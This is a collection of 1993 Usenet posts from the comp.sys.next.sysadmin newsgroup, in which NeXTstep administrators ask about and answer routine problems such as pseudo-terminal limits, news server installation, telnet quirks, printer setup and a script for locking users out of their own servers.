==============================================================
Newsgroups: comp.sys.next.sysadmin From: sandhoff@syscube.csus.edu (John F. Sandhoff) Subject: Configuring more ptys Message-ID: <1993Feb9.015117.1556@csus.edu> Originator: sandhoff@syscube.ccs.csus.edu Keywords: pseudo-terminals, ttys, makedev Sender: news@csus.edu Organization: California State University Sacramento Distribution: na Date: Tue, 9 Feb 1993 01:51:17 GMT How do I increase the number of available pseudo-terminals on a NeXT v2.1 system? I tried using MAKEDEV to create 32 more ptys, and they're listed in the ttys file, but even after a reboot I'm still limited to only 32. What other steps are necessary? John F. Sandhoff, University Network Support California State University, Sacramento sandhoff@csus.edu
Newsgroups: comp.sys.next.sysadmin From: stark@superc.che.udel.edu (Scott M. Stark) Subject: Problems with recvfrom(2), Summary Message-ID: <1993Feb9.044306.14693@udel.edu> Keywords: recvfrom, Stevens Sender: usenet@udel.edu (USENET News Service) Organization: University of Delaware References: <1993Feb8.182345.17475@bernina.ethz.ch> Date: Tue, 9 Feb 1993 04:43:06 GMT First, let me thank everyone who responded. And now, a review of the problem in full context. I had attempted to run the UDP server/client example in the reliable directory of the Stevens source distribution (obtainable from ftp.uu.net as published/stevens.netprog.tar.Z). The client program, rudpcli.c would return an error when it called the dgsendrecv() routine from Stevens libnet.a. The problem was the following recvfrom() call (line 53 of lib/dgsendrecv.c): n = recvfrom(fd, inbuff, inbytes, 0, (struct sockaddr *) 0, (int *) 0); When the client program is run, a bad address error is returned. Apparently, the struct sockaddr *from arg of the recvfrom() call cannot be NULL on the NeXT, despite the man pages contrary implications. The problem disappears when the preceeding call is replaced with: n = recvfrom(fd, inbuff, inbytes, 0, (struct sockaddr *) &fromAddr, &fromAddrLength); with fromAddr being an unitialized struct sockaddr_in. Scott -- Scott Stark University of Delaware Department of Chemical Engineering 123 Colburn Lab Newark, DE 19716-3119 (302) 831-6713
Newsgroups: comp.sys.next.sysadmin From: bryanvv@netcom.com (Bryan Van Vliet) Subject: Problem w/ telnet from Sun to NeXT Message-ID: <1993Feb9.050835.18353@netcom.com> Organization: Netcom - Online Communication Services (408 241-9760 guest) Date: Tue, 9 Feb 1993 05:08:35 GMT When I telnet from a Sun SPARCstation to a NeXTstation running NeXTstep 3.0 the last bit of output from a shell command seems like its LF/CR's got screwed up. Emacs works fine, though. Any hints on what I can do about this? Thanks. - Bryan -- Bryan Van Vliet
Newsgroups: comp.sys.next.sysadmin From: bryanvv@netcom.com (Bryan Van Vliet) Subject: Anyone ported NNTP? Message-ID: <1993Feb9.050452.18191@netcom.com> Organization: Netcom - Online Communication Services (408 241-9760 guest) Date: Tue, 9 Feb 1993 05:04:52 GMT Sorry if this has been asked recently. Has anyone installed NNTP under NeXTstep 3.0? Any pointers as to what I have to worry about? Thanks, Bryan -- Bryan Van Vliet bryanvv@netcom.com
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Help! 3.0 root defaults file needed! Message-ID: <C265D9.LqJ@ux1.cso.uiuc.edu> Keywords: Snafu, NeXTStep 3.0, crash Organization: University of Illinois at Urbana References: <1993Feb8.223023.5292@galileo.cc.rochester.edu> Date: Tue, 9 Feb 1993 06:43:43 GMT jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes: >I just hosed my defaults files for 3.0. I know, I know. Don't even say it. >If some kind soul out there would be gracious enough to tar and uuencode the >/.NeXT/.* files for me, I'd really appreciate it. You see, I'm now running >off the single user mode on my station, which is kind of silly and very >hhard to read. These files are in /usr/template/user/.NeXT even on a 'standard-release' system (250 MB hd). -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: andrew@cubetech.com (Andrew Loewenstern) Subject: Re: nntp Message-ID: <1993Feb9.014117.8726@cubetech.com> Keywords: nntp,news Organization: Cube Technologies, Inc. References: <1993Feb5.185333.3053@bankone.com> Date: Tue, 9 Feb 1993 01:41:17 GMT In article <1993Feb5.185333.3053@bankone.com> steved@bankone.com writes: >I'm trying to get nntp compiled. Does anyone have any suggestions, hints, >tips, or compiled binaries? > >I'm getting the following error: > >cd server; make "LIBS=-lcnews" "CFLAGS=-O -I/usr/local/include >/usr/local/lib/dbz.o" >cc -O -I/usr/local/include /usr/local/lib/dbz.o -c main.c >main.c: In function `main': >main.c:226: `LOG_NEWS' undeclared (first use this function) >main.c:226: (Each undeclared identifier is reported only once >main.c:226: for each function it appears in.) >*** Exit 1 >Stop. LOG_NEWS isn't a defined syslog type. Change it to LOG_DAEMON or something. I believe this is a parameter in your config.h file. On a related note, I can get nntp to compile, but if I ever try to post it insists that there is no free space left on the server (which isn't true). Any ideas? >Steve Dieringer NeXTMail: steved@bankone.com BankOne has hopped on the NeXT bandwagon, eh? andrew -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis FYEO Public Key: 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Newsgroups: comp.sys.next.sysadmin From: matt@crawfish.math.tulane.edu (Matt Hopkins) Subject: nbuf "trick"? Message-ID: <1993Feb9.084253.16161@cs.tulane.edu> Nntp-Posting-Host-[nntpd-16097]: crawfish.math.tulane.edu Sender: news@cs.tulane.edu Organization: Mathematics Department, Tulane University Date: Tue, 9 Feb 1993 08:42:53 GMT Could some kind soul please remind me how to set the nbuf kernel flag? I've lost my little itsy bit of paper, that was somewhere near my desk, that had the info... Thanks in advance, Matt (e-mail would be fine) -- matt@crawfish.math.tulane.edu (NeXT Mail accepted!) Matt Hopkins - Tulane University - Dept of Mathematics - New Orleans "Admit Nothing. Blame Everyone. Be Bitter."
From: william_w@verifone.com Newsgroups: comp.unix.admin,comp.sys.next.sysadmin Subject: Re: monitoring a UPS from a serial port Message-ID: <1993Feb8.151703.4813@verifone.com> Date: 8 Feb 93 15:17:03 -1000 References: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> <C0wn95.41L@boi.hp.com> Followup-To: comp.unix.admin,comp.sys.next.sysadmin Organization: VeriFone Inc., Honolulu HI In article <C0wn95.41L@boi.hp.com>, guy@boi.hp.com () writes: > > -- > > I've done it on HP-UX systems. I have a C program that monitors a rs232 > port. It logs power fail events and will call a shutdown script when > the battery gets low. The program is started by the rc script on boot > up. Email if your interested in the details. > > > --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|-- > Guy Burnham, Boise Surface Mount Center, Hewlett Packard Co. Inc. > guy@hpbs5194.boi.hp.com 208(323-3355) > > I WORK TO LIVE ... I LIVE FOR TRAINS, and OLD TRUCKS, and OLD TRACTORS and .. > > Disclaimer: Don't you be the only one to take me seriously! > --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|-- I'll be very appreciate if you can Email me all about it. Thanks in advance. William Wang
From: Manuel.Alberto.Ricart@f236.n104.z1.FIDONET.ORG (Manuel Alberto Ricart) Newsgroups: comp.sys.next.sysadmin Subject: SIMPLE NFS SERVER QUESTION Message-ID: <142365.2B76EE2A@paranet.FIDONET.ORG> Date: 7 Feb 93 22:28:00 GMT Sender: ufgate@paranet.FIDONET.ORG (newsout1.26) Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO -- Manuel Alberto Ricart - via ParaNet node 1:104/422 UUCP: !scicom!paranet!User_Name INTERNET: Manuel.Alberto.Ricart@f236.n104.z1.FIDONET.ORG
From: otto@coactive.com (otto lind) Newsgroups: comp.sys.next.sysadmin Subject: Re: news on the NeXT Date: 9 Feb 1993 11:04:47 GMT Organization: Coactive Aesthetics Inc. Message-ID: <1l834fINNh7u@disc.coactive.com> References: <64125@mimsy.umd.edu> In article <64125@mimsy.umd.edu> gdrew@cs.umd.edu (Greg Drew) writes: > Could someone point me in the right direction for installing netnews software > on a NeXT. I have heard that there are reader applications (NewsGrazer?) out > there, but I am not sure where to find them. Also, will one of the standard > news software packages run on the NeXT ralatively painlessly? Thanks. > -- GDD (new NeXT sysadmin) I recently installed inn version 1.2, a complete news package written by Rich Salz, on the NeXT systems here at Coactive. I found the installation to be fairly straight forward, with very few problems (I should have taken to heart the note Rich mentioned on the "newsfeed" file). Inn is a NNTP based server, which we feed via uucp from Netcom. We currently use NewsGrazer version 72.3, and tin version 1.1 to read news on the client machines. If you have any questions, let me know.. Otto P.S. I snarfed inn from /.8/news/inn at gatekeeper.dec.com. You can also use archie to find it. -- Otto Lind Coactive Aesthetics otto@coactive.com P.O. Box 425967, San Francisco, CA 94142 netcom!coactive!otto voice:(415)626-5152 fax:(415)626-6320
From: ogeisser@uni-paderborn.de (Oliver Geisser) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software Subject: Re: Binaries which would like to be run as root Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software Date: 9 Feb 1993 12:59:38 GMT Organization: Uni Paderborn FB 17 Informatik GERMANY Message-ID: <1l89rq$n8o@news.uni-paderborn.de> References: <1993Feb8.175721.16536@bernina.ethz.ch> Marcel Waldvogel (waldvoge@nessie.cs.id.ethz.ch) wrote: : In article <1kv6avINNjn7@stephen.cs.ubc.ca> sritchie@cs.ubc.ca (Stuart Ritchie) writes: : >Yes, beware of Oxyd! You will get *no work done* until you complete [...] : I love the game, but I really hate that lousy port! ^^^^^^^^^^ That is exactly what I think !!! Ciao, Olli -- | Oliver Geisser * Steindruefft 11 * W-4791 Altenbeken 3 * Germany | | e-mail: ogeisser@uni-paderborn.de * Phone: 05255/7966 | | I prefer ASCII-Mail, but you can also send me NeXT-Mail |
From: bpp@infoserv.com (Jonathan E. Ganz) Newsgroups: comp.sys.next.sysadmin Subject: large swapfiles? Keywords: swapfiles Message-ID: <BuuoyB1w163w@bpp> Date: Mon, 08 Feb 93 21:09:22 PST Distribution: world Organization: Blank Page Productions Howdy, perhaps this is a dump user question, but there appears to be two large swapfiles, one called "swapfile" and one called "swapfile.front" in my private/vm directory. They total more than 50 megs! Is there some reason to keep them around? BTW, I have a NeXTstation, color 21", with 16 megs, a 400 meg internal drive, and v3.0. Is there someway to limit their size and will any of this affect performance? I've noticed a rather sluggish station since I installed 3.0.... :-( Please, email me directly... I don't have good access to this newsgroup! Thanks in advance! Jonathan (bonehead user) :-O
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: Configuring more ptys Date: 9 Feb 1993 15:14:31 GMT Organization: The University of Maryland, College Park Distribution: na Message-ID: <1l8honINNgh9@ni.umd.edu> References: <1993Feb9.015117.1556@csus.edu> Keywords: pseudo-terminals, ttys, makedev In article <1993Feb9.015117.1556@csus.edu> sandhoff@syscube.csus.edu (John F. Sandhoff) writes: >How do I increase the number of available pseudo-terminals on a >NeXT v2.1 system? I tried using MAKEDEV to create 32 more ptys, >and they're listed in the ttys file, but even after a reboot I'm >still limited to only 32. What other steps are necessary? Sorry to say, but you're hosed. The kernel pty driver was compiled to support 32 ptys. Report this as a bug to NeXT, and perhaps they will configure a larger number in a future release. Idealy, the number of the pty driver should dynamically allocate the data structures required for each pty unit when they are used, rather than fixing a number at compile time when the kernel was built. Louis Mamakos
Newsgroups: comp.sys.next.sysadmin From: barel@imag.fr (Max Barel) Subject: System panic message log Message-ID: <C26rJF.Jr6@imag.fr> Organization: IMAG Institute, University of Grenoble, France Date: Tue, 9 Feb 1993 14:42:50 GMT I recently experienced a system panic (NS 3.0). A lot of messages went out in the small nmi/panic window. It was probably a severe panic since I had no way to see the message buffer, nor to halt the system, nor to reboot gracefully. After hard reboot and fsck, I found none of the panic messages in the logfile /private/adm/messages. So I don't know what caused the panic. Is there something more to attempt in such a case to make a dignostic ? Thanks -- Max Barel barel@imag.Fr max@cuefa.grenet.fr
From: ambi@it-next2.bu.edu (Michael Amirault) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Archive Tape Drive Problem! Message-ID: <109818@bu.edu> Date: 9 Feb 93 14:27:54 GMT Sender: news@bu.edu Followup-To: comp.sys.next.hardware I just received an Archive Viper 2150 1/4" tape drive yesterday. I haven't been able to get it to work yet. Installation was fairly easy and the system sees the drive okay but every command to the drive results in a an i/o type error with the following appearing on the console: st: cmd = 0x15 sr_io_status = 2H Sense key = 0x5 Sense Code = 0x0 Does anyone know what the problem is? Thanks for the help, Mike Amirault ambi@it-next2.bu.edu
Organization: Carnegie Mellon, Pittsburgh, PA Newsgroups: comp.sys.next.sysadmin Message-ID: <MfRw_cb0BwyOBgxm9b@transarc.com> Date: Tue, 9 Feb 1993 09:41:44 -0500 From: Ward_Travis@transarc.com Subject: Re: previous, long post about SL/IP trouble About a week ago, I was looking for help via this newsgroup for information regarding a problem I was having with SL/IP 920904. To clear SL/IP's name, I'm following it up with this post, which names the actual culprit. It has nothing to do with Louie's software, The scenario, for the curious, was that SL/IP was bringing itself up just fine, and the TCL scripts were looking to be doing the right things, and the terminal concentrator on the remote site was giving me one of a set of addresses each time my link came up, and the scripts were compensating for that just fine. However, no packets would ever come back! I spent at least a week wondering which of the 'route' commands I had bungled, but that produced nothing. Finally, I got disgusted and swapped out the modem itself, a Telebit TrailBlazer +, with a Telebit T1000 I had available. SL/IP worked perfectly on this. Looking at the two modems' configurations, the only meaningful difference was that the TrailBlazer was configured to use PEP compression (FAST/COMP), a feature not available on the T1000. Voila. PEP compression was getting in the way. Perhaps it's fragmenting the IP packets, inducing timeouts in the router, and the router is just dropping the shards on the floor (as it should?). Who knows. I did not perform the obvious back-test of turning off PEP compression in the TrailBlazer and trying it again. I've lost more time with it now than I think I could ever regain by getting FAST/COMP working, if that turns out to be possible. The T1000 combination works, so it ain't broken anymore, and I ain't fixin' it anymore. I suspect the moral here is, don't use PEP compression for SL/IP lines. Be happy with just PEP (which works reliably for me). If this is old news, please forgive the repetition. -- Ward C. Travis Pittsburgh PA USA "The fact is the sweetest dream that travis@transarc.com (412) 338 4388 labor knows." - R. Frost
From: weigele@duitex1.pdmv.detecon.de (Martin Weigele) Newsgroups: comp.sys.next.sysadmin,de.comp.sys.next Subject: Looking for command line fax interface Date: 9 Feb 1993 16:50:21 +0100 Organization: Detecon GmbH - Projekt Digitaler Mobilfunk - Vermittlungstechnik Message-ID: <weigele.729272811@duitex1> Is there any such thing as a Unix command line interface to send out faxes with NeXT Step 3.0 ? While you can print both from a NeXTstep interface and from Unix command line, I have not been able to find a command equivalent to "lpr" to send faxes. Does it exist? Can it be done? The advantage being, of course, the possibilty of automated fax processing by means of shell scripts and such. -- Martin Weigele Detecon GmbH - Projekt Digitaler Mobilfunk, Rochusstr. 289, W-5300 Bonn 1 Germany -- Tel. +49 228 9866 385, Fax +49 228 9866 306 - Detecon is a subsidiary of Deutsche Bundespost Telekom
From: robert@steffi.demon.co.uk (Robert David Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: Re: news on the NeXT Date: 9 Feb 1993 14:49:54 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <1l8gai$6e8@steffi.demon.co.uk> References: <1l834fINNh7u@disc.coactive.com> otto lind (otto@coactive.com) wrote: : In article <64125@mimsy.umd.edu> gdrew@cs.umd.edu (Greg Drew) writes: : > Could someone point me in the right direction for installing netnews software : > on a NeXT. I have heard that there are reader applications (NewsGrazer?) out : > there, but I am not sure where to find them. Also, will one of the standard : > news software packages run on the NeXT ralatively painlessly? Thanks. : > -- GDD (new NeXT sysadmin) : I recently installed inn version 1.2, a complete news package written by Rich : Salz, on the NeXT systems here at Coactive. I found the installation to be : fairly straight forward, with very few problems (I should have taken to heart : the note Rich mentioned on the "newsfeed" file). : Inn is a NNTP based server, which we feed via uucp from Netcom. We currently : use NewsGrazer version 72.3, and tin version 1.1 to read news on the client : machines. : If you have any questions, let me know.. : Otto : P.S. I snarfed inn from /.8/news/inn at gatekeeper.dec.com. You can also : use archie to find it. : -- : Otto Lind Coactive Aesthetics : otto@coactive.com P.O. Box 425967, San Francisco, CA 94142 : netcom!coactive!otto voice:(415)626-5152 fax:(415)626-6320 INN1.3 can be found at ftp.uu.net or mirrors of this. Rich says 1.4 will be about shortly within 2 weeks im hearing.
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Newsgroups: comp.sys.next.sysadmin Subject: Adding Non-NeXT printers Message-ID: <C26zB3.4wz@newcastle.ac.uk> Date: 9 Feb 93 17:30:37 GMT Organization: University of Durham I would like to add some of the dot matrix printers that our department uses as printers I can print to from my NeXT. If I just use lpr, there should not be a problem with sending to these printers, correct? Where do I put the printcap entry? printcap doesn't seem to get checked if netinfo is running, at least according to the docs it doesn't. thanks! Scott -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE "Did you know that the computer invented itself?" - SNL
From: tye@elvis.mit.edu (Tye Brady) Newsgroups: comp.sys.next.sysadmin Subject: 2.1 to 3.0 Upgrade on 100MB fails Date: 9 Feb 1993 18:44:43 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <1l8u2rINNfjf@senator-bedfellow.MIT.EDU> Keywords: upgrade,bug When upgrading a lab Nextstation Color 24MB RAM 100MB HD system that has 35 MB free to 3.0 I see that the old swapfile problem stills kills me. When the Upgrade3.0 app is computing the plan, I see that at about 3/4 of the way through that the swapfile starts to grow steadily until all the space on the HD is taken (ie. the remaining 35 MB). Once this is done, the app cannot perform the upgrade because it needs at least 26MB to perform the upgrade? what to do? thanX in advance, tye
From: kwei@titan.ucs.umass.edu (William Wei) Newsgroups: comp.sys.next.sysadmin Subject: Can't reboot since upgraded to NS3.0 Message-ID: <1l8um9INNnu2@titan.ucs.umass.edu> Date: 9 Feb 93 18:55:05 GMT Distribution: usa Organization: University of Massachusetts, Amherst Recently I upgraded to 3.0. My NeXTstation is a standalone. I have a external boot drive(target 0), a internal(target 1) and a NeXT CD-ROM drive(target 2). I can boot it if I just turn on everything from off and press power key. It's won't boot if I just power down and repower up. The message I got is the following: Boot command: sd boot sd(0,0,0) booting SCSI target 1, lun 0 blk0 boot: sd()sdmach Booting from SCSI target 0 lun 0 sd()sdmach: unknown binary format blk0 booy: sd()sdmach Booting from SCSI target 0 lun 0 sd()sdmach: unknown binary format Can't load blk0 boot NeXT> Anyone has a clue. Thanks.
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) Subject: Need help on "Help" Message-ID: <HARDY.93Feb9114349@golem.ps.uci.edu> Newsgroups: comp.sys.next.sysadmin Organization: Department of Physics, UC Irvine, CA 92717-4575, USA Date: 9 Feb 93 19:42:49 GMT When I upgraded to 3.0 in October Upgrade.app made the following judgment: ||Checking size for English help... ||English help requires 3722K, and 0K are available. ||There isn't enough space to install English help. ||Postprocessing complete at Fri Oct 2 22:15:37 PDT 1992 ||Upgrade complete. Now I finally (afgter 5 months waiting) received my own CD-ROM with 3.0 and would like to install the English Help. Does anyone know where it is located on the CD and where it belongs in the file system? I removed all the Man-Pages, Documentation, Webster, and Shakespeare, and freed up another 60 MB of disk space, since I can read the documentation from the CD. I could probably poke around the CD-ROM, but I am sure that some of you know exactly where things are. Thanks, -- Hardy ----- Meinhard E. Mayer, Department of Physics, UC Irvine e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET !!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
From: cew6@po.CWRU.Edu (Carlin E. Wiegner) Newsgroups: comp.sys.next.sysadmin Subject: CSLIP vs. SLIP.... Date: 9 Feb 1993 23:21:31 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <1l9e9rINNc7k@usenet.INS.CWRU.Edu> Is there really a difference between CSLIP and SLIP in terms of speed. I can get Marble's product with CSLIP for $125 but on the other hand I can pay nothing and get SLIP for free over the internet. Please email opinions. CW
Newsgroups: comp.sys.next.sysadmin Subject: Re: Problem w/ telnet from Sun to NeXT Message-ID: <1993Feb9.182026.29176@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Tue, 9 Feb 1993 18:20:26 GMT Sender: news@urz.unibas.ch (USENET News System) References: <1993Feb9.050835.18353@netcom.com> Organization: Institut fuer Informatik In article <1993Feb9.050835.18353@netcom.com> writes: > When I telnet from a Sun SPARCstation to a NeXTstation running > NeXTstep 3.0 the last bit of output from a shell command seems like its > LF/CR's got screwed up. Emacs works fine, though. Any hints on what I > can do about this? Thanks. > > - Bryan > > -- > Bryan Van Vliet Speaking of problems, anyone got Telnet on the mac (via MacTCP) to properly chat with the NeXT? The problem is that the telnet session looses certain keys on input. If these keys are typed twice, everything is fine. Unfortunately, each mac has different keys generating the problems... -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin From: cbradley@bozell.com (Chris Bradley) Subject: Re: Next NFS server upgrade Message-ID: <1993Feb9.174013.6788@bozell.com> Keywords: NFS performance Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <1kgvhvINNjs5@ni.umd.edu> Distribution: na Date: Tue, 9 Feb 1993 17:40:13 GMT In article <1kgvhvINNjs5@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes: > In article <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> Tod McQuillin <tm8t+@andrew.cmu.edu> writes: > >We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50 > >NFS clients or so. We're considering upgrading the server with a > >Turbo board (68040/33Mhz). > > > >My question is, with such a configuration, is upgrading to a Turbo > >likely to help? It's quite possible that the machine is disk-bound, > >in which case increasing the CPU speed won't significantly help. > > You'd likely be better off, for performance and function, to buy a Sun > or some other box for your NFS server if you are really server > performance-bound. If you've got a large, heavy NFS load, having > multiple SCSI buses available will reduce I/O contention on the bus > between multiple drives, as will support for synchronous SCSI > transfers so that each transfer uses the bus for less time. You get > neither of these on a NeXT right now. > I gotta (heartily) recommend that you look at the AUSPEX line of servers. Outstanding I/O throughput, in a BEAST of an NFS server! -- Chris Bradley | cbradley@bozell.com Techno-Slave, with Many Masters | +1 214 830 2273 vox Bozell, Jacobs, Kenyon & Eckhardt, Inc. | +1 214 830 2687 fax Advertising and Public Relations | "Born ready"
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: How to disable logins on one machine? Help!! Message-ID: <C27KGs.uL@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu> Date: Wed, 10 Feb 1993 01:07:40 GMT In article <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu> hogan@boetius (Kharim Hogan) writes: > >Hi, > >Is it possible to disable network accounts on one machine? This here be an ugly solution that I use to lock out folks from logging into my servers. --snip----- #!/bin/sh # A script to put *'s for everyone's passwd to niload on the servers # to prevent login by unauthorized users # Make a backup nidump passwd . > /usr/local/adm/secure.local.passwd.backup # Make a copy of the passwd entries with "*" for passwords. nidump passwd / | awk 'BEGIN {FS=OFS=":"} {$2="*";print}' > /tmp/passwd niload passwd . < /tmp/passwd # Now put back the people I want to be allowed to login nidump passwd / |grep francisr >> /tmp/okay.passwds nidump passwd / |grep root >> /tmp/okay.passwds # Search for 'Account' because some accounts contain the letters # 'me' in their name 'My Account' is unique to the user 'me'. # at least on my system it is. nidump passwd / |grep Account >> /tmp/okay.passwds # Load 'em up niload passwd . < /tmp/okay.passwds # Clean up rm /tmp/passwd rm /tmp/okay.passwds ----snip--- Cough, cough. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: dglattin@trirex.com (Dennis Glatting) Subject: Looking for nvram decl Message-ID: <1993Feb4.055021.7351@Trirex.COM> Keywords: nvram Sender: root@Trirex.COM (Operator) Organization: Trirex Systems Inc. Distribution: usa Date: Thu, 4 Feb 1993 05:50:21 GMT I am setting up a automatic computer configuration scheme for one of my clients. I would like to change some of the NVRAM parameters programatically such as the ROM password and boot device. I am looking for a struct decl of NVRAM. Where can I find such a beast? -- Dennis P. Glatting / Sr. Technical Manager / Trirex Systems Inc. 315 Post Road West / Westport, Connecticut 06880 / (203)221-4600 dennis_glatting@trirex.com (NeXTmail Ok) Member League for Programming Freedom
Newsgroups: comp.sys.next.sysadmin From: mshaler@tdocad.sps.mot.com (Michael Shaler) Subject: Re: How do I prevent cp from traversing links? References: <1kbhpjINN8mf@ni.umd.edu> Date: Tue, 2 Feb 1993 08:01:28 GMT Organization: Nippon Motorola Ltd., Tokyo, Japan Sender: news@tkymail.sps.mot.com Message-ID: <1993Feb2.080128.26333@tkymail.sps.mot.com> Louis A. Mamakos writes [appropriate, discreet plug crunched...] Disclaimer: I know the author of SafetyNet, and have been testing it and using it for some time now. I have no financial interest in the product, other than when Brian buys the beer when we go out drinking, err.., I mean, have the meeting of the Laurel/Columbia MD NeXT developer's gang. louie Louie, would this an erstwhile Freudian SLIP, or a Jungian SLIP? And which neural links would cp cross under these conditions? Questions to ponder for the Laurel/Columbia MD NeXT developer's gang... --- Michael Shaler Tokyo Design Center Nippon Motorola Ltd. +813 3280 8245 voice +813 3440 0033 fax
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: Re: Problem w/ telnet from Sun to NeXT Message-ID: <1993Feb10.024138.5697@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <1993Feb9.050835.18353@netcom.com> Date: Wed, 10 Feb 93 02:41:38 GMT In comp.sys.next.sysadmin bryanvv@netcom.com (Bryan Van Vliet) writes: >When I telnet from a Sun SPARCstation to a NeXTstation running >NeXTstep 3.0 the last bit of output from a shell command seems like its >LF/CR's got screwed up. Emacs works fine, though. Any hints on what I >can do about this? Thanks. Don't ask me why, but this seems to fix the problems: stty -extproc Put it in your .login. Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: Re: Adding Non-NeXT printers Message-ID: <1993Feb10.024321.5819@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <C26zB3.4wz@newcastle.ac.uk> Date: Wed, 10 Feb 93 02:43:21 GMT In comp.sys.next.sysadmin S.A.McIntyre@durham.ac.uk writes: >I would like to add some of the dot matrix printers that our department uses as printers I >can print to from my NeXT. If I just use lpr, there should not be a problem with sending >to these printers, correct? I have no idea. I strongly suspect that you will in fact have problems, but I don't know. Report back if things "just work", would you? >Where do I put the printcap entry? printcap doesn't seem to get checked if netinfo is >running, at least according to the docs it doesn't. This one I can help you on. Just do "niload -v printcap . < /etc/printcap" and the information will be loaded into netinfo. Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: Re: Backspace Message-ID: <1993Feb10.024552.6015@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Residential Computing, Stanford University References: <1993Feb8.210328.12337@cheshire.oxy.edu> Distribution: usa Date: Wed, 10 Feb 93 02:45:52 GMT In comp.sys.next.sysadmin t_pascal@cheshire.oxy.edu writes: >We recently upgraded to 3.0, and I thought that BackSpace was bundled... >I haven't found it anywhere. Does anyone know where it should be, or where >I can to snarf? /NextDeveloper/Examples/AppKit/Backspace. Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
From: aozer@next.com (Ali Ozer) Newsgroups: comp.sys.next.sysadmin Subject: Re: Dwriting to 2-bit color Message-ID: <6769@rosie.NeXT.COM> Date: 10 Feb 93 02:52:27 GMT References: <1993Feb7.115727.1389@yvax.byu.edu> <1l431t$foj@transfer.stratus.com> Sender: news@NeXT.COM Organization: Next Computer, Inc. In article <1l431t$foj@transfer.stratus.com> dan@az.stratus.com writes: >Sean Luke writes >> We've upgraded to 3.0, and have found the Workspace Manager...slow and >> ponderous when scrolling or doing screen updates. We have no color machines >> in our little network out here. Can anyone tell me what the dwrite command >> was to set an application (in particular, the Workspace Manager, Mail, >> Preferences, etc.) to 2-bit? >dwrite GLOBAL NXWindowDepthLimit TwoBitGray From your message ("...we have no color machines...") it sounds like all your machines are monochrome. This means that all windows are by default depth-limited to 2 bits anyway; you shouldn't have the perform this default. Ali, Ali_Ozer@NeXT.com
